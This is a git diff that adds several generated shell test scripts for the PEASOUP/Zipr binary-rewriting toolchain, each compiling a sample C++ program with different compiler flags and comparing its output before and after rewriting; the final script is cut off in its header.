index 0000000000000000000000000000000000000000..f53d9e751a314599066f55ba80356eaf5df07c43
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..05b425cacc13a88f4584715bb48aac32e55c9d6d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b90f61f4cfdf1bd42463f732c7b58206dae8d5f0
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f00ed0acb289939fb746dc8ec728ef3b99a2e9c8
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ac21013678e843bdb6f7f327ac19b55b300b32ad
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..7021e60eebb6f9da7b6b7ef3e00ce1dfb258d973
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..8612932a5692d3b3f72413023afcb58ad763e2db
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
